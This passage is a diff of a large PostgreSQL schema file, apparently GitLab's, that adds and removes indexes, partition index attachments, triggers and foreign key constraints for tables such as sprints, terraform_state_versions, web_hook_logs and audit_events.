-CREATE UNIQUE INDEX index_sprints_on_group_id_and_title ON sprints USING btree (group_id, title) WHERE (group_id IS NOT NULL);
+CREATE UNIQUE INDEX index_sprints_on_iterations_cadence_id_and_title ON sprints USING btree (iterations_cadence_id, title);
CREATE UNIQUE INDEX index_sprints_on_project_id_and_iid ON sprints USING btree (project_id, iid);
@@ -23841,6 +25327,10 @@ CREATE INDEX index_sprints_on_title ON sprints USING btree (title);
CREATE INDEX index_sprints_on_title_trigram ON sprints USING gin (title gin_trgm_ops);
+CREATE INDEX index_status_check_responses_on_external_approval_rule_id ON status_check_responses USING btree (external_approval_rule_id);
+
+CREATE INDEX index_status_check_responses_on_merge_request_id ON status_check_responses USING btree (merge_request_id);
+
CREATE UNIQUE INDEX index_status_page_published_incidents_on_issue_id ON status_page_published_incidents USING btree (issue_id);
CREATE INDEX index_status_page_settings_on_project_id ON status_page_settings USING btree (project_id);
@@ -23873,12 +25363,20 @@ CREATE INDEX index_term_agreements_on_term_id ON term_agreements USING btree (te
CREATE INDEX index_term_agreements_on_user_id ON term_agreements USING btree (user_id);
+CREATE INDEX index_terraform_state_versions_failed_verification ON terraform_state_versions USING btree (verification_retry_at NULLS FIRST) WHERE (verification_state = 3);
+
+CREATE INDEX index_terraform_state_versions_needs_verification ON terraform_state_versions USING btree (verification_state) WHERE ((verification_state = 0) OR (verification_state = 3));
+
CREATE INDEX index_terraform_state_versions_on_ci_build_id ON terraform_state_versions USING btree (ci_build_id);
CREATE INDEX index_terraform_state_versions_on_created_by_user_id ON terraform_state_versions USING btree (created_by_user_id);
CREATE UNIQUE INDEX index_terraform_state_versions_on_state_id_and_version ON terraform_state_versions USING btree (terraform_state_id, version);
+CREATE INDEX index_terraform_state_versions_on_verification_state ON terraform_state_versions USING btree (verification_state);
+
+CREATE INDEX index_terraform_state_versions_pending_verification ON terraform_state_versions USING btree (verified_at NULLS FIRST) WHERE (verification_state = 0);
+
CREATE INDEX index_terraform_states_on_file_store ON terraform_states USING btree (file_store);
CREATE INDEX index_terraform_states_on_locked_by_user_id ON terraform_states USING btree (locked_by_user_id);
@@ -23895,6 +25393,8 @@ CREATE INDEX index_timelogs_on_merge_request_id ON timelogs USING btree (merge_r
CREATE INDEX index_timelogs_on_note_id ON timelogs USING btree (note_id);
+CREATE INDEX index_timelogs_on_project_id_and_spent_at ON timelogs USING btree (project_id, spent_at);
+
CREATE INDEX index_timelogs_on_spent_at ON timelogs USING btree (spent_at) WHERE (spent_at IS NOT NULL);
CREATE INDEX index_timelogs_on_user_id ON timelogs USING btree (user_id);
@@ -23931,6 +25431,12 @@ CREATE INDEX index_u2f_registrations_on_user_id ON u2f_registrations USING btree
CREATE UNIQUE INDEX index_unique_issue_metrics_issue_id ON issue_metrics USING btree (issue_id);
+CREATE INDEX index_unit_test_failures_failed_at ON ci_unit_test_failures USING btree (failed_at DESC);
+
+CREATE UNIQUE INDEX index_unit_test_failures_unique_columns ON ci_unit_test_failures USING btree (unit_test_id, failed_at DESC, build_id);
+
+CREATE UNIQUE INDEX index_upcoming_reconciliations_on_namespace_id ON upcoming_reconciliations USING btree (namespace_id);
+
CREATE INDEX index_uploads_on_checksum ON uploads USING btree (checksum);
CREATE INDEX index_uploads_on_model_id_and_model_type ON uploads USING btree (model_id, model_type);
@@ -23991,6 +25497,8 @@ CREATE INDEX index_users_on_feed_token ON users USING btree (feed_token);
CREATE INDEX index_users_on_group_view ON users USING btree (group_view);
+CREATE INDEX index_users_on_id_and_last_activity_on_for_non_internal_active ON users USING btree (id, last_activity_on) WHERE (((state)::text = 'active'::text) AND ((user_type IS NULL) OR (user_type = ANY (ARRAY[NULL::integer, 6, 4]))));
+
CREATE INDEX index_users_on_incoming_email_token ON users USING btree (incoming_email_token);
CREATE INDEX index_users_on_managing_group_id ON users USING btree (managing_group_id);
@@ -24025,6 +25533,8 @@ CREATE INDEX index_users_ops_dashboard_projects_on_project_id ON users_ops_dashb
CREATE UNIQUE INDEX index_users_ops_dashboard_projects_on_user_id_and_project_id ON users_ops_dashboard_projects USING btree (user_id, project_id);
+CREATE INDEX index_users_require_two_factor_authentication_from_group_false ON users USING btree (require_two_factor_authentication_from_group) WHERE (require_two_factor_authentication_from_group = false);
+
CREATE INDEX index_users_security_dashboard_projects_on_user_id ON users_security_dashboard_projects USING btree (user_id);
CREATE INDEX index_users_star_projects_on_project_id ON users_star_projects USING btree (project_id);
@@ -24083,7 +25593,7 @@ CREATE INDEX index_vulnerability_feedback_on_merge_request_id ON vulnerability_f
CREATE INDEX index_vulnerability_feedback_on_pipeline_id ON vulnerability_feedback USING btree (pipeline_id);
-CREATE INDEX index_vulnerability_finding_fingerprints_on_finding_id ON vulnerability_finding_fingerprints USING btree (finding_id);
+CREATE INDEX index_vulnerability_finding_signatures_on_finding_id ON vulnerability_finding_signatures USING btree (finding_id);
CREATE INDEX index_vulnerability_findings_remediations_on_remediation_id ON vulnerability_findings_remediations USING btree (vulnerability_remediation_id);
@@ -24101,6 +25611,8 @@ CREATE UNIQUE INDEX index_vulnerability_occurrence_identifiers_on_unique_keys ON
CREATE INDEX index_vulnerability_occurrence_pipelines_on_pipeline_id ON vulnerability_occurrence_pipelines USING btree (pipeline_id);
+CREATE INDEX index_vulnerability_occurrences_deduplication ON vulnerability_occurrences USING btree (project_id, report_type, project_fingerprint);
+
CREATE INDEX index_vulnerability_occurrences_for_issue_links_migration ON vulnerability_occurrences USING btree (project_id, report_type, encode(project_fingerprint, 'hex'::text));
CREATE INDEX index_vulnerability_occurrences_on_primary_identifier_id ON vulnerability_occurrences USING btree (primary_identifier_id);
@@ -24119,6 +25631,8 @@ CREATE UNIQUE INDEX index_vulnerability_remediations_on_project_id_and_checksum
CREATE UNIQUE INDEX index_vulnerability_scanners_on_project_id_and_external_id ON vulnerability_scanners USING btree (project_id, external_id);
+CREATE INDEX index_vulnerability_statistics_on_latest_pipeline_id ON vulnerability_statistics USING btree (latest_pipeline_id);
+
CREATE INDEX index_vulnerability_statistics_on_letter_grade ON vulnerability_statistics USING btree (letter_grade);
CREATE UNIQUE INDEX index_vulnerability_statistics_on_unique_project_id ON vulnerability_statistics USING btree (project_id);
@@ -24129,14 +25643,16 @@ CREATE UNIQUE INDEX index_vulns_user_mentions_on_vulnerability_id ON vulnerabili
CREATE UNIQUE INDEX index_vulns_user_mentions_on_vulnerability_id_and_note_id ON vulnerability_user_mentions USING btree (vulnerability_id, note_id);
-CREATE INDEX index_web_hook_logs_on_created_at_and_web_hook_id ON web_hook_logs USING btree (created_at, web_hook_id);
+CREATE INDEX index_web_hook_logs_on_created_at_and_web_hook_id ON web_hook_logs_archived USING btree (created_at, web_hook_id);
-CREATE INDEX index_web_hook_logs_on_web_hook_id ON web_hook_logs USING btree (web_hook_id);
+CREATE INDEX index_web_hook_logs_on_web_hook_id ON web_hook_logs_archived USING btree (web_hook_id);
CREATE INDEX index_web_hooks_on_group_id ON web_hooks USING btree (group_id) WHERE ((type)::text = 'GroupHook'::text);
CREATE INDEX index_web_hooks_on_project_id ON web_hooks USING btree (project_id);
+CREATE INDEX index_web_hooks_on_project_id_recent_failures ON web_hooks USING btree (project_id, recent_failures);
+
CREATE INDEX index_web_hooks_on_service_id ON web_hooks USING btree (service_id);
CREATE INDEX index_web_hooks_on_type ON web_hooks USING btree (type);
@@ -24203,6 +25719,10 @@ CREATE INDEX packages_packages_needs_verification ON packages_package_files USIN
CREATE INDEX packages_packages_pending_verification ON packages_package_files USING btree (verified_at NULLS FIRST) WHERE (verification_state = 0);
+CREATE UNIQUE INDEX partial_index_bulk_import_exports_on_group_id_and_relation ON bulk_import_exports USING btree (group_id, relation) WHERE (group_id IS NOT NULL);
+
+CREATE UNIQUE INDEX partial_index_bulk_import_exports_on_project_id_and_relation ON bulk_import_exports USING btree (project_id, relation) WHERE (project_id IS NOT NULL);
+
CREATE INDEX partial_index_ci_builds_on_scheduled_at_with_scheduled_jobs ON ci_builds USING btree (scheduled_at) WHERE ((scheduled_at IS NOT NULL) AND ((type)::text = 'Ci::Build'::text) AND ((status)::text = 'scheduled'::text));
CREATE INDEX partial_index_deployments_for_legacy_successful_deployments ON deployments USING btree (id) WHERE ((finished_at IS NULL) AND (status = 2));
@@ -24215,8 +25735,6 @@ CREATE UNIQUE INDEX snippet_user_mentions_on_snippet_id_index ON snippet_user_me
CREATE UNIQUE INDEX taggings_idx ON taggings USING btree (tag_id, taggable_id, taggable_type, context, tagger_id, tagger_type);
-CREATE INDEX temporary_index_vulnerabilities_on_id ON vulnerabilities USING btree (id) WHERE ((state = 2) AND ((dismissed_at IS NULL) OR (dismissed_by_id IS NULL)));
-
CREATE UNIQUE INDEX term_agreements_unique_index ON term_agreements USING btree (user_id, term_id);
CREATE INDEX tmp_idx_deduplicate_vulnerability_occurrences ON vulnerability_occurrences USING btree (project_id, report_type, location_fingerprint, primary_identifier_id, id);
@@ -24257,6 +25775,102 @@ CREATE UNIQUE INDEX vulnerability_feedback_unique_idx ON vulnerability_feedback
CREATE UNIQUE INDEX vulnerability_occurrence_pipelines_on_unique_keys ON vulnerability_occurrence_pipelines USING btree (occurrence_id, pipeline_id);
+ALTER INDEX analytics_index_audit_events_part_on_created_at_and_author_id ATTACH PARTITION gitlab_partitions_dynamic.audit_events_000000_created_at_author_id_idx;
+
+ALTER INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ATTACH PARTITION gitlab_partitions_dynamic.audit_events_000000_entity_id_entity_type_id_author_id_crea_idx;
+
+ALTER INDEX audit_events_pkey ATTACH PARTITION gitlab_partitions_dynamic.audit_events_000000_pkey;
+
+ALTER INDEX analytics_index_audit_events_part_on_created_at_and_author_id ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202212_created_at_author_id_idx;
+
+ALTER INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202212_entity_id_entity_type_id_author_id_crea_idx;
+
+ALTER INDEX audit_events_pkey ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202212_pkey;
+
+ALTER INDEX analytics_index_audit_events_part_on_created_at_and_author_id ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202301_created_at_author_id_idx;
+
+ALTER INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202301_entity_id_entity_type_id_author_id_crea_idx;
+
+ALTER INDEX audit_events_pkey ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202301_pkey;
+
+ALTER INDEX analytics_index_audit_events_part_on_created_at_and_author_id ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202302_created_at_author_id_idx;
+
+ALTER INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202302_entity_id_entity_type_id_author_id_crea_idx;
+
+ALTER INDEX audit_events_pkey ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202302_pkey;
+
+ALTER INDEX analytics_index_audit_events_part_on_created_at_and_author_id ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202303_created_at_author_id_idx;
+
+ALTER INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202303_entity_id_entity_type_id_author_id_crea_idx;
+
+ALTER INDEX audit_events_pkey ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202303_pkey;
+
+ALTER INDEX analytics_index_audit_events_part_on_created_at_and_author_id ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202304_created_at_author_id_idx;
+
+ALTER INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202304_entity_id_entity_type_id_author_id_crea_idx;
+
+ALTER INDEX audit_events_pkey ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202304_pkey;
+
+ALTER INDEX analytics_index_audit_events_part_on_created_at_and_author_id ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202305_created_at_author_id_idx;
+
+ALTER INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202305_entity_id_entity_type_id_author_id_crea_idx;
+
+ALTER INDEX audit_events_pkey ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202305_pkey;
+
+ALTER INDEX analytics_index_audit_events_part_on_created_at_and_author_id ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202306_created_at_author_id_idx;
+
+ALTER INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202306_entity_id_entity_type_id_author_id_crea_idx;
+
+ALTER INDEX audit_events_pkey ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202306_pkey;
+
+ALTER INDEX index_web_hook_logs_part_on_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.index_1554dc6f11;
+
+ALTER INDEX index_web_hook_logs_part_on_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.index_719c6187cb;
+
+ALTER INDEX index_web_hook_logs_part_on_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.index_80bf138a51;
+
+ALTER INDEX index_web_hook_logs_part_on_created_at_and_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.index_962081978f;
+
+ALTER INDEX index_web_hook_logs_part_on_created_at_and_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.index_eecfac613f;
+
+ALTER INDEX index_web_hook_logs_part_on_created_at_and_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.index_fdb8d5eeea;
+
+ALTER INDEX web_hook_logs_pkey ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_000000_pkey;
+
+ALTER INDEX web_hook_logs_pkey ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202212_pkey;
+
+ALTER INDEX web_hook_logs_pkey ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202301_pkey;
+
+ALTER INDEX index_web_hook_logs_part_on_created_at_and_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202302_created_at_web_hook_id_idx;
+
+ALTER INDEX web_hook_logs_pkey ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202302_pkey;
+
+ALTER INDEX index_web_hook_logs_part_on_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202302_web_hook_id_idx;
+
+ALTER INDEX index_web_hook_logs_part_on_created_at_and_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202303_created_at_web_hook_id_idx;
+
+ALTER INDEX web_hook_logs_pkey ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202303_pkey;
+
+ALTER INDEX index_web_hook_logs_part_on_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202303_web_hook_id_idx;
+
+ALTER INDEX index_web_hook_logs_part_on_created_at_and_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202304_created_at_web_hook_id_idx;
+
+ALTER INDEX web_hook_logs_pkey ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202304_pkey;
+
+ALTER INDEX index_web_hook_logs_part_on_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202304_web_hook_id_idx;
+
+ALTER INDEX index_web_hook_logs_part_on_created_at_and_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202305_created_at_web_hook_id_idx;
+
+ALTER INDEX web_hook_logs_pkey ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202305_pkey;
+
+ALTER INDEX index_web_hook_logs_part_on_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202305_web_hook_id_idx;
+
+ALTER INDEX index_web_hook_logs_part_on_created_at_and_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202306_created_at_web_hook_id_idx;
+
+ALTER INDEX web_hook_logs_pkey ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202306_pkey;
+
+ALTER INDEX index_web_hook_logs_part_on_web_hook_id ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202306_web_hook_id_idx;
+
ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx10;
ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx11;
@@ -24513,7 +26127,33 @@ ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_p
ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_63_pkey;
-CREATE TRIGGER table_sync_trigger_ee39a25f9d AFTER INSERT OR DELETE OR UPDATE ON audit_events FOR EACH ROW EXECUTE FUNCTION table_sync_function_2be879775d();
+CREATE TRIGGER table_sync_trigger_b99eb6998c AFTER INSERT OR DELETE OR UPDATE ON web_hook_logs FOR EACH ROW EXECUTE FUNCTION table_sync_function_29bc99d6db();
+
+CREATE TRIGGER trigger_07c94931164e BEFORE INSERT OR UPDATE ON push_event_payloads FOR EACH ROW EXECUTE FUNCTION trigger_07c94931164e();
+
+CREATE TRIGGER trigger_21e7a2602957 BEFORE INSERT OR UPDATE ON ci_build_needs FOR EACH ROW EXECUTE FUNCTION trigger_21e7a2602957();
+
+CREATE TRIGGER trigger_3f6129be01d2 BEFORE INSERT OR UPDATE ON ci_builds FOR EACH ROW EXECUTE FUNCTION trigger_3f6129be01d2();
+
+CREATE TRIGGER trigger_51ab7cef8934 BEFORE INSERT OR UPDATE ON ci_builds_runner_session FOR EACH ROW EXECUTE FUNCTION trigger_51ab7cef8934();
+
+CREATE TRIGGER trigger_69523443cc10 BEFORE INSERT OR UPDATE ON events FOR EACH ROW EXECUTE FUNCTION trigger_69523443cc10();
+
+CREATE TRIGGER trigger_77f5e1d20482 BEFORE INSERT OR UPDATE ON deployments FOR EACH ROW EXECUTE FUNCTION trigger_77f5e1d20482();
+
+CREATE TRIGGER trigger_8485e97c00e3 BEFORE INSERT OR UPDATE ON ci_sources_pipelines FOR EACH ROW EXECUTE FUNCTION trigger_8485e97c00e3();
+
+CREATE TRIGGER trigger_8487d4de3e7b BEFORE INSERT OR UPDATE ON ci_builds_metadata FOR EACH ROW EXECUTE FUNCTION trigger_8487d4de3e7b();
+
+CREATE TRIGGER trigger_91dc388a5fe6 BEFORE INSERT OR UPDATE ON ci_build_trace_sections FOR EACH ROW EXECUTE FUNCTION trigger_91dc388a5fe6();
+
+CREATE TRIGGER trigger_aebe8b822ad3 BEFORE INSERT OR UPDATE ON taggings FOR EACH ROW EXECUTE FUNCTION trigger_aebe8b822ad3();
+
+CREATE TRIGGER trigger_be1804f21693 BEFORE INSERT OR UPDATE ON ci_job_artifacts FOR EACH ROW EXECUTE FUNCTION trigger_be1804f21693();
+
+CREATE TRIGGER trigger_cf2f9e35f002 BEFORE INSERT OR UPDATE ON ci_build_trace_chunks FOR EACH ROW EXECUTE FUNCTION trigger_cf2f9e35f002();
+
+CREATE TRIGGER trigger_f1ca8ec18d78 BEFORE INSERT OR UPDATE ON geo_job_artifact_deleted_events FOR EACH ROW EXECUTE FUNCTION trigger_f1ca8ec18d78();
CREATE TRIGGER trigger_has_external_issue_tracker_on_delete AFTER DELETE ON services FOR EACH ROW WHEN ((((old.category)::text = 'issue_tracker'::text) AND (old.active = true) AND (old.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_issue_tracker();
@@ -24566,9 +26206,15 @@ ALTER TABLE ONLY notification_settings
ALTER TABLE ONLY lists
ADD CONSTRAINT fk_0d3f677137 FOREIGN KEY (board_id) REFERENCES boards(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_unit_test_failures
+ ADD CONSTRAINT fk_0f09856e1f FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY project_pages_metadata
ADD CONSTRAINT fk_0fd5b22688 FOREIGN KEY (pages_deployment_id) REFERENCES pages_deployments(id) ON DELETE SET NULL;
+ALTER TABLE ONLY status_check_responses
+ ADD CONSTRAINT fk_116e7e7369 FOREIGN KEY (external_approval_rule_id) REFERENCES external_approval_rules(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY group_deletion_schedules
ADD CONSTRAINT fk_11e3ebfcdd FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -24596,6 +26242,9 @@ ALTER TABLE ONLY project_features
ALTER TABLE ONLY ci_pipelines
ADD CONSTRAINT fk_190998ef09 FOREIGN KEY (external_pull_request_id) REFERENCES external_pull_requests(id) ON DELETE SET NULL;
+ALTER TABLE ONLY analytics_devops_adoption_segments
+ ADD CONSTRAINT fk_190a24754d FOREIGN KEY (display_namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY user_details
ADD CONSTRAINT fk_190e4fcc88 FOREIGN KEY (provisioned_by_group_id) REFERENCES namespaces(id) ON DELETE SET NULL;
@@ -24647,6 +26296,9 @@ ALTER TABLE ONLY notes
ALTER TABLE ONLY members
ADD CONSTRAINT fk_2e88fb7ce9 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY lfs_objects_projects
+ ADD CONSTRAINT fk_2eb33f7a78 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE NOT VALID;
+
ALTER TABLE ONLY lists
ADD CONSTRAINT fk_30f2a831f4 FOREIGN KEY (iteration_id) REFERENCES sprints(id) ON DELETE CASCADE;
@@ -24656,15 +26308,15 @@ ALTER TABLE ONLY approvals
ALTER TABLE ONLY namespaces
ADD CONSTRAINT fk_319256d87a FOREIGN KEY (file_template_project_id) REFERENCES projects(id) ON DELETE SET NULL;
-ALTER TABLE ONLY merge_requests
- ADD CONSTRAINT fk_3308fe130c FOREIGN KEY (source_project_id) REFERENCES projects(id) ON DELETE SET NULL;
-
ALTER TABLE ONLY ci_group_variables
ADD CONSTRAINT fk_33ae4d58d8 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
ALTER TABLE ONLY namespaces
ADD CONSTRAINT fk_3448c97865 FOREIGN KEY (push_rule_id) REFERENCES push_rules(id) ON DELETE SET NULL;
+ALTER TABLE ONLY in_product_marketing_emails
+ ADD CONSTRAINT fk_35c9101b63 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_3654b61b03 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -24674,11 +26326,14 @@ ALTER TABLE ONLY sprints
ALTER TABLE ONLY push_event_payloads
ADD CONSTRAINT fk_36c74129da FOREIGN KEY (event_id) REFERENCES events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY bulk_import_exports
+ ADD CONSTRAINT fk_39c726d3b5 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_builds
ADD CONSTRAINT fk_3a9eaa254d FOREIGN KEY (stage_id) REFERENCES ci_stages(id) ON DELETE CASCADE;
ALTER TABLE ONLY issues
- ADD CONSTRAINT fk_3b8c72ea56 FOREIGN KEY (sprint_id) REFERENCES sprints(id) ON DELETE CASCADE;
+ ADD CONSTRAINT fk_3b8c72ea56 FOREIGN KEY (sprint_id) REFERENCES sprints(id) ON DELETE SET NULL;
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_3c1fd1cccc FOREIGN KEY (due_date_sourcing_milestone_id) REFERENCES milestones(id) ON DELETE SET NULL;
@@ -24713,6 +26368,12 @@ ALTER TABLE ONLY alert_management_alerts
ALTER TABLE ONLY path_locks
ADD CONSTRAINT fk_5265c98f24 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_site_profiles_pipelines
+ ADD CONSTRAINT fk_53849b0ad5 FOREIGN KEY (ci_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
+
+ALTER TABLE ONLY terraform_states
+ ADD CONSTRAINT fk_558901b030 FOREIGN KEY (locked_by_user_id) REFERENCES users(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY merge_request_metrics
ADD CONSTRAINT fk_56067dcb44 FOREIGN KEY (target_project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -24794,9 +26455,15 @@ ALTER TABLE ONLY users
ALTER TABLE ONLY geo_event_log
ADD CONSTRAINT fk_78a6492f68 FOREIGN KEY (repository_updated_event_id) REFERENCES geo_repository_updated_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY analytics_devops_adoption_snapshots
+ ADD CONSTRAINT fk_78c9eac821 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY lists
ADD CONSTRAINT fk_7a5553d60f FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_unit_tests
+ ADD CONSTRAINT fk_7a8fabf0a8 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY protected_branches
ADD CONSTRAINT fk_7a9c6d93e7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -24810,7 +26477,7 @@ ALTER TABLE ONLY labels
ADD CONSTRAINT fk_7de4989a69 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
ALTER TABLE ONLY merge_requests
- ADD CONSTRAINT fk_7e85395a64 FOREIGN KEY (sprint_id) REFERENCES sprints(id) ON DELETE CASCADE;
+ ADD CONSTRAINT fk_7e85395a64 FOREIGN KEY (sprint_id) REFERENCES sprints(id) ON DELETE SET NULL;
ALTER TABLE ONLY merge_request_metrics
ADD CONSTRAINT fk_7f28d925f3 FOREIGN KEY (merged_by_id) REFERENCES users(id) ON DELETE SET NULL;
@@ -24827,6 +26494,9 @@ ALTER TABLE ONLY import_export_uploads
ALTER TABLE ONLY push_rules
ADD CONSTRAINT fk_83b29894de FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY experiment_subjects
+ ADD CONSTRAINT fk_842649f2f5 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY merge_request_diffs
ADD CONSTRAINT fk_8483f3258f FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
@@ -24842,9 +26512,6 @@ ALTER TABLE ONLY packages_package_files
ALTER TABLE ONLY ci_builds
ADD CONSTRAINT fk_87f4cefcda FOREIGN KEY (upstream_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY experiment_subjects
- ADD CONSTRAINT fk_88489af1b1 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY vulnerabilities
ADD CONSTRAINT fk_88b4d546ef FOREIGN KEY (start_date_sourcing_milestone_id) REFERENCES milestones(id) ON DELETE SET NULL;
@@ -24857,8 +26524,8 @@ ALTER TABLE ONLY issues
ALTER TABLE ONLY protected_branch_merge_access_levels
ADD CONSTRAINT fk_8a3072ccb3 FOREIGN KEY (protected_branch_id) REFERENCES protected_branches(id) ON DELETE CASCADE;
-ALTER TABLE ONLY timelogs
- ADD CONSTRAINT fk_8d058cd571 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY bulk_import_exports
+ ADD CONSTRAINT fk_8c6f33cebe FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
ALTER TABLE ONLY releases
ADD CONSTRAINT fk_8e4456f90f FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE SET NULL;
@@ -24911,6 +26578,9 @@ ALTER TABLE ONLY issues
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_9d480c64b2 FOREIGN KEY (start_date_sourcing_epic_id) REFERENCES epics(id) ON DELETE SET NULL;
+ALTER TABLE ONLY protected_environments
+ ADD CONSTRAINT fk_9e112565b7 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY alert_management_alerts
ADD CONSTRAINT fk_9e49e5c2b7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -24944,6 +26614,12 @@ ALTER TABLE ONLY bulk_import_entities
ALTER TABLE ONLY users
ADD CONSTRAINT fk_a4b8fefe3e FOREIGN KEY (managing_group_id) REFERENCES namespaces(id) ON DELETE SET NULL;
+ALTER TABLE ONLY lfs_objects_projects
+ ADD CONSTRAINT fk_a56e02279c FOREIGN KEY (lfs_object_id) REFERENCES lfs_objects(id) ON DELETE RESTRICT NOT VALID;
+
+ALTER TABLE ONLY dast_profiles_pipelines
+ ADD CONSTRAINT fk_a60cad829d FOREIGN KEY (ci_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY merge_requests
ADD CONSTRAINT fk_a6963e8447 FOREIGN KEY (target_project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -25034,6 +26710,9 @@ ALTER TABLE ONLY geo_event_log
ALTER TABLE ONLY vulnerability_exports
ADD CONSTRAINT fk_c3d3cb5d0f FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY timelogs
+ ADD CONSTRAINT fk_c49c83dd77 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY geo_event_log
